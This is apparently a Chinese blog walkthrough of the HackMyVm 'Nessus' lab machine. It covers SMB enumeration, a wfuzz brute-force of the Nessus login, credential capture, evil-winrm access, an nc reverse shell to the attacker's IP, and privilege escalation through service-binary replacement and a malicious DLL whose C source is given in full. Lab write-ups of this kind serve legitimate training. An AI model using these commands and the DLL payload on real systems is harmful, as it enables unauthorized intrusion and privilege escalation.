侧边栏壁纸
  • 累计撰写 185 篇文章
  • 累计收到 3 条评论

HackMyVm-Nessus :简单

xiaoyu
2025-10-27 / 0 评论 / 861 阅读 /
温馨提示:
本文最后更新于2025年10月31日,已超过237天没有更新,若内容或图片失效,请留言反馈。

6.1 端口扫描

6.2 漏洞扫描

nmap -sS -p 135,139,445,5985,8834 192.168.53.238 -T4 -A --script=vuln

在访问这个端口的时候,提示你需要使用https访问

那就使用https访问,没有账号密码,登录不进去

6.3 查看smb服务

尝试免密连接smb服务,可以正常连接,并且里面有两个PDF

看看什么内容

My Basic Network Scan_hwhm7q.pdf

Web Application Tests_f6jg9t.pdf

发现作者信息,jose

exiftool [pdf]

6.4 爆破Nessus后台

前面已经发现了,smb是可以免密登录的,那么现在就只有nessus爆破了,来到nessus登录界面,抓包,添加爆破的payload

根据这些数据包,使用wfuzz进行爆破因为要用到kali中的rockyou.txt字典(也可以将rockyou.txt传到本机windows进行爆破)

wfuzz -c -z file,/usr/share/wordlists/rockyou.txt \
-X POST \
-H "Host: 192.168.53.238:8834" \
-H "X-Api-Token: 4c746180-a399-4abd-a9a0-49055fac236f" \
-H "Content-Type: application/json" \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36" \
-H "Origin: https://192.168.53.238:8834" \
-H "Referer: https://192.168.53.238:8834/" \
-d '{"username":"jose","password":"FUZZ"}' \
--hc 401,403 \
-f result.txt,raw \
https://192.168.53.238:8834/session

得到密码,tequiero

当前nessus版本为10.7.3,应该是比较新的,没有什么漏洞,或者漏洞没有公开(去网上搜了下,可能有一个本地提权漏洞,但是exp没有公开)

6.5 盗取认证信息

来到代理界面,尝试查看源码查看密码,查看失败

那么就利用代理,发送数据包到kali中,看看有没有密码出现,kali记得开nc

kali得到的信息,没有密码信息

一个一个切换,当我切换到basic这个内容

nc接收到的数据包如下,发现一段密文

得到认证信息,解密后就是账号密码

nesus:Z#JuXH$ph-;v@,X&mV)

得到账号密码,和之前那个靶机一样,需要修改登录的密码,这个已经过期了

nxc smb 192.168.53.238 -u nesus -p 'Z#JuXH$ph-;v@,X&mV)'

6.6 近源攻击!!

按两次Esc键,来到选择账户界面

修改你的账号密码

修改密码为123456,登录smb,发现什么也没有

6.7 远程连接

那就来到5985端口,执行命令成功!

evil-winrm -i 192.168.53.238 -u nesus -p 123456

6.8 反弹shell

这里我尝试了各种msf的木马,都被杀软给杀了,无意间使用nc的时候就不会被杀,使用nc进行反弹shell(kali记得开监听)

./nc.exe 192.168.53.51 1234 -e cmd

6.9 提权

6.9.1 local_exploit_suggester提权

打开msf(这一步其实很多余,这样子是扫不出来的,基本只有后渗透模块meterperter才能使用)

msfconsole
use exploit/multi/handler # 加载handler模块
# 根据目标系统选择payload(nc反弹的是基础shell,非meterpreter)

# 目标是Windows,接收nc命令反弹的shell:
set PAYLOAD windows/shell_reverse_tcp

set LHOST 192.168.53.51 # 攻击机IP(与nc反弹目标一致)
set LPORT 1234 # 监听端口(与nc反弹端口一致)
run -j # 启动监听,保持后台执行

use multi/recon/local_exploit_suggester # 使用本地提权漏扫模块
set session 3 # 设置反弹成功的会话id为3,使用 sessions 即可查看所有的会话id

6.9.2 PrivescCheck提权

内网常见的提权和信息收集文章参考:

https://www.cnblogs.com/Hekeats-L/p/16879325.html

工具链接:

https://github.com/itm4n/PrivescCheck/releases/tag/2025.10.06-1

upload PrivescCheck.ps1
Set-ExecutionPolicy Bypass -Scope process -Force
./PrivescCheck.ps1 # 或者. .\PrivescCheck.ps1
Invoke-PrivescCheck

有一个高危的提权漏洞

看看文件信息

每一项描述如下(如果您精通linux提权的话,将会和linux进行类比)

Name服务的 “内部名字”(操作服务时用,比如启停服务)nginx 服务的内部名就是 “nginx”(用systemctl restart nginx时的名字)后续想重启这个服务,要用到这个名字
DisplayName服务的 “显示名字”(在 Windows 服务面板里看到的名字,方便你找到它)nginx 在 Linux 里的显示名可能是 “nginx - high performance web server”确认你改的是对的服务,别改错了
User这个服务是用 “LocalSystem” 权限运行的(Windows 里的最高权限,比管理员还高)类比 Linux 里用 “root” 用户运行的 nginx 服务提权的关键!服务跑在最高权限,改了它的程序就能拿最高权限
ImagePath服务启动时会执行的 “核心 exe 文件路径”(就是你要替换的那个文件)类比 Linux 里 nginx 守护进程的路径/usr/sbin/nginx目标文件!把这个 exe 换成恶意程序就行
StartMode服务是 “自动启动” 的(开机或服务崩溃后会自己重启)类比 Linux 里systemctl enable nginx(开机自启)替换文件后不用手动触发,重启机器 / 服务就会执行恶意程序
Type服务是 “独立进程”(启动时只跑这个 exe,不依赖其他程序)类比 Linux 里 nginx 是独立进程(`ps auxgrep nginx` 能看到单独的进程)
RegistryKey/Path服务在 Windows 注册表中的配置路径(不用管,提权用不上)类比 Linux 里 nginx 的配置文件路径/etc/nginx/nginx.conf(但这里是注册表,不用管)次要信息,不用关注
Status服务当前状态(空,因为前面警告没查到)类比 Linux 里systemctl status nginx报错,看不到 “active” 还是 “inactive”后续手动用命令查就行,不影响提权
UserCanStart你当前用户 “不能手动启动这个服务”类比 Linux 里普通用户不能systemctl start nginx没关系,能重启机器或杀进程间接触发
UserCanStop你当前用户 “不能手动停止这个服务”类比 Linux 里普通用户不能systemctl stop nginx没关系,用taskkill(类比 Linux 的 kill)杀进程就行
ModifiablePath你能修改的文件路径 —— 就是上面说的那个要替换的 exe(nessus-service.exe)类比 Linux 里ls -l /usr/sbin/nginx显示你有 w 权限,能改这个文件明确告诉你 “要改哪个文件”
IdentityReference拥有这个修改权限的用户 —— 就是你当前的 “NESSUS\nesus” 用户类比 Linux 里ls -l /usr/sbin/nginx显示 “ubuntu rwx”(你的用户有权限)确认 “是你自己有这个改文件的权限”
Permissions你的权限是 “完全控制”(能改、能删、能替换这个 exe,想干嘛干嘛)类比 Linux 里的 “rwx” 权限,尤其是 “w”(写入)权限 

总结一下:你当前的nesus用户,能完全控制一个叫Tenable Nessus的服务 —— 这个服务是用 Windows 最高权限(LocalSystem,类比 Linux root)运行的,启动时会执行nessus-service.exe。而且这个服务是开机自动启动的,你只要把nessus-service.exe换成恶意程序,下次服务启动(重启机器 / 杀进程),恶意程序就会用最高权限跑起来 —— 和你在 Linux 里替换 root 运行的/usr/sbin/nginx、重启后拿 root 权限,完全一样。

cd "C:\Program Files\Tenable\Nessus\"
dir

原来是可以利用直接替换这个应用程序进行提权,但是这里,杀软会查杀掉我们的msf马,要么你有能力过这个windows defender

当然也可以使用nc,但是nc是一个应用程序,需要选用参数,而不是直接执行,就能上线msf或者kali的nc的,需要使用批处理也就是.bat

# kali
echo "C:\Users\nesus\Documents\nc.exe 192.168.53.51 4444 -e cmd.exe" > nessus-service.bat

# evil-winrm
upload nessus-service.bat "C:\Program Files\Tenable\Nessus\nessus-service.exe"

这里漏掉了一个关键(你需要杀死它的进程,让服务自动重启)

我们使用Stop-Process强制重启服务的时候报了一个错误:拒绝访问(Access is denied)

Stop-Process -Id (Get-Process -Name "nessus-service").Id -Force

遇到 “Access denied” 是因为nessus-service进程以LocalSystem权限运行,低权限用户无法直接杀死。

如何解决?尝试更底层的taskkill

taskkill是 Windows 原生的进程杀死命令,权限处理和Stop-Process不同,先试一次:

taskkill /f /im nessus-service.exe

照样也是拒绝访问。重启计算机也没用,那么就换一种方法,dll劫持!dll劫持!

6.10 DLL劫持

6.10.1 什么是 DLL 劫持?(类比 Linux)

1. 基础定义

DLL(Dynamic Link Library,动态链接库)是 Windows 里的 “共享代码文件”,类似 Linux 的.so文件(Shared Object)。很多程序(比如服务、软件)运行时会主动加载依赖的 DLL 文件(比如调用 DLL 里的函数)。DLL 劫持的本质是:攻击者替换 / 插入一个恶意 DLL 文件,让高权限运行的目标程序(比如 LocalSystem 权限的服务)“误加载” 我们的恶意 DLL,从而执行恶意代码(相当于 Linux 里用LD_PRELOAD强制 root 进程加载恶意.so文件)。

2. 类比 Linux 场景

你在 Linux 里想提权时,可能会用LD_PRELOAD=/tmp/malicious.so /usr/bin/root_program,强制 root 运行的root_program加载你的恶意.so文件,.so里的代码会以 root 权限执行。Windows DLL 劫持和这个逻辑完全一样:让 LocalSystem 权限的Tenable Nessus服务,加载你写的恶意legacy.dll,DLL 里的代码会以 LocalSystem 权限执行。

6.10.2 DLL 劫持提权过程

1、查权限

icacls "C:\Program Files\Tenable\Nessus\*.dll" 是 Windows 中用来查看指定目录下所有dll文件 / 子目录权限的命令,作用类似 Linux 里的 ls -l /path/*.dll(查看某个目录下所有文件的权限详情)。

icacls "C:\Program Files\Tenable\Nessus\*.dll"

为什么要使用这条命令?

确认你当前用户(nesus)对服务依赖的 DLL 文件(比如legacy.dll)有写入 / 替换权限

从之前的权限结果看,nesus对这些 DLL 有F(完全控制)权限 —— 相当于 Linux 里用ls -l /usr/lib/root_program_dep.so看到普通用户有w权限,满足 “能替换文件” 的前提。

权限表,和linux差不多,这里多了个修改还有删除,linux中只有rwx

符号权限说明对应操作
F完全控制读取、写入、执行、删除、修改属性
M修改写入、删除(需配合F
RX读取和执行查看内容、运行程序
R只读查看内容
W写入修改内容(需目录权限)
D删除删除文件或子目录

2、编写恶意 DLL 代码

在网上找到一个脚本,这是一个基础的恶意 DLL,核心逻辑在DLLMain函数里:

/*
DLL hijacking example
author: @cocomelonc
*/

#include

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH: // 程序加载DLL时触发(关键分支)
system("cmd.exe /k net localgroup administrators nesus /add"); // 恶意命令:把nesus加入管理员组
break;
case DLL_PROCESS_DETACH: // 其他分支(进程卸载、线程创建/销毁)暂不用管
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}

关键解释

  • DLLMain是 DLL 的 “入口函数”,类似 Linux.so文件的_init函数 —— 目标程序(Nessus 服务)加载 DLL 时,会自动调用DLLMain,并触发DLL_PROCESS_ATTACH分支。
  • 恶意命令net localgroup administrators nesus /add:把nesus加入管理员组(这里是示例,实际可写反弹 shell 命令,拿到 LocalSystem 权限)。

Linux 类比:写一个恶意.so文件,在_init函数里执行system("usermod -aG sudo ubuntu"),让 root 进程加载时把普通用户加入 sudo 组。

3、编译恶意 DLL(生成 Windows 能识别的格式)

在 Kali 里用mingw编译 C 代码,生成 Windows 可加载的 DLL 文件:

# kali
x86_64-w64-mingw32-gcc exp.c -shared -o legacy.dll

x86_64-w64-mingw32-gcc:Windows 交叉编译器(生成 64 位 Windows 程序,需和目标系统位数匹配);

-shared:生成 “共享库”(即 DLL 文件,对应 Linux 的.so);

-o legacy.dll:输出文件名为legacy.dll(必须和目标服务依赖的 DLL 同名,否则服务找不到)。

4、备份原 DLL + 上传替换(避免服务崩溃 + 植入恶意文件)

# evil-winrm
cd "C:\Program Files\Tenable\Nessus"
mv legacy.dll legacy_beifen.dll # 备份文件
upload legacy.dll # 上传你kali编译的dll文件

备份原 DLL:legacy.dll是 Nessus 服务的依赖文件,直接删除会导致服务崩溃,备份后可回滚(类似 Linux 里cp /usr/lib/libnginx_dep.so /tmp/);

上传替换:让服务下次加载legacy.dll时,加载的是你的恶意 DLL(类似 Linux 里cp /tmp/malicious.so /usr/lib/libnginx_dep.so)。

5、重启虚拟机(触发服务加载恶意 DLL)

最后重启目标机,Nessus 服务会随系统开机启动 —— 启动时会自动加载依赖的legacy.dll(此时已被替换成恶意 DLL):

  1. 服务以LocalSystem(Windows 最高权限,类比 Linux root)启动;
  2. 加载恶意legacy.dll,触发DLLMainDLL_PROCESS_ATTACH分支;
  3. 执行net localgroup administrators nesus /add,把nesus加入管理员组(实际可改为反弹 shell 命令,拿到 SYSTEM 权限);
  4. 重启后,nesus已拥有管理员权限,提权成功。

6.10.3 DLL 劫持的核心利用条件

和 Linux.so劫持的条件类似,DLL 劫持能成功,必须同时满足以下 4 个条件(你的场景全部满足):

1. 目标程序(服务 / 软件)以高权限运行
  • 比如你的Tenable Nessus服务以LocalSystem权限运行(类比 Linux 里 root 运行的nginx)。
  • 若目标程序是普通用户权限,即使劫持成功,也只能拿到普通权限,无法提权。
2. 你对目标程序加载的DLL 文件有写入 / 替换权限
  • 你的icacls结果显示,nesuslegacy.dllF(完全控制)权限,能备份、删除、替换该 DLL(类比 Linux 里普通用户对/usr/lib/libnginx_dep.sow权限)。
  • 若只有只读权限(RX),无法替换 DLL,劫持失败。
3. 目标程序会主动加载该 DLL 文件
  • legacy.dllTenable Nessus服务的 “依赖 DLL”—— 服务启动时必须加载它才能正常运行(类比 Linux 里nginx必须加载libnginx_dep.so)。
  • 若目标程序不加载该 DLL,即使替换了也没用(比如替换一个无关的 DLL 文件)。
4. 恶意 DLL 能被目标程序成功加载
  • 恶意 DLL 的格式要正确(比如 32 位 / 64 位和目标程序匹配,你用x86_64编译对应 64 位系统);
  • 若目标程序需要 DLL 导出特定函数(比如LoadLibrary调用的函数),恶意 DLL 需包含这些导出函数(你的示例是基础DLLMain,满足简单加载需求)。
  • 类比 Linux 里恶意.so需符合 ELF 格式,否则无法被nginx加载。

6.10.4 总结

找到一个 “高权限运行、且依赖的 DLL 你能替换” 的程序(比如服务),用恶意 DLL 替换原 DLL,让高权限程序执行恶意代码,从而拿到高权限

往期推荐

全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细

HackMyVm-DC04 :简单

HackMyVm-DC03 :简单

HackMyVm-DC02 :简单

HackMyVm-DC01 :简单

HackMyVm-TriplAdvisor :简单

HackMyVm-Runas :简单

HackMyVm-Always :简单

HackMyVm-Nessus :简单

HackMyVm-Liar :简单

HackMyVm-Simple :简单

HackMyVm-Simple :简单

HackMyVm-Zero :简单

HackMyVm-OMG :简单

新版BurpSuite v2025.6.3汉化版,附激活教程

Fine!2025最新款信息收集综合工具

若依Vue漏洞检测工具v7更新

最好用的下一代目录爆破工具,全方位的目录爆破

集成MemProcFS,Vol2和Vol3的内存取证神器

重大更新!FeatherScan v4.5 内网 linux 信息收集,提权一键梭哈神器

x-waf,一个基于fuzz的waf绕过渗透工具

这10款内网穿透工具,一定有你没用过的

红队命令速查手册

挖SRC必须知道的25个漏洞提交平台

挖SRC必须知道的25个漏洞提交平台

FeatherScan v4.0 - 一款Linux内网全自动信息收集工具

掩日-适用于红队的综合免杀工具

2025最新渗透测试靶场推荐

近400个渗透测试常用命令,信息收集、web、内网、隐藏通信、域渗透等等

【内网渗透】隐藏通信隧道技术

内网渗透必备,microsocks,一个轻量级的socks代理工具

神器分享 红队快速打点工具-DarKnuclei

红日靶场5,windows内网渗透,社工提权,多种域内横向移动思路

【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏

【OSCP】 Kioptrix 提权靶机(1-5)全系列教程,Try Harder!

一个永久的渗透知识库

【oscp】vulnerable_docker,三种代理方法打入内网

【内网渗透】CobaltStrike与MSF联动互相上线的方式

内网渗透必备,microsocks,一个轻量级的socks代理工具

【OSCP】 Kioptrix 提权靶机(1-5)全系列教程,Try Harder!绝对干货!

DC-2综合渗透,rbash逃逸,git提权,wordpress靶场渗透教程

【渗透测试】12种rbash逃逸方式总结

红日靶场5,windows内网渗透,社工提权,多种域内横向移动思路

红日靶场3,joomla渗透,海德拉SMB爆破,域内5台主机横向移动教学

不用MSF?红日靶场4,从外网到域控,手工干永恒之蓝,教科书级渗透教学

ATK&CK红日靶场二,Weblogic漏洞利用,域渗透攻略

sql注入中各种waf的绕过方式,狗,盾,神,锁,宝

利用MySQL特性,WAF绕过技巧

SQL注入绕过某狗的waf防火墙,这一篇就够了,6k文案超详细

大型翻车现场,十种waf绕过姿势,仅成功一种

喜欢长文吗?1w字图文带你了解sqlmap,从0到1,WAF绕过,高级用法一文通透

0

评论 (0)

取消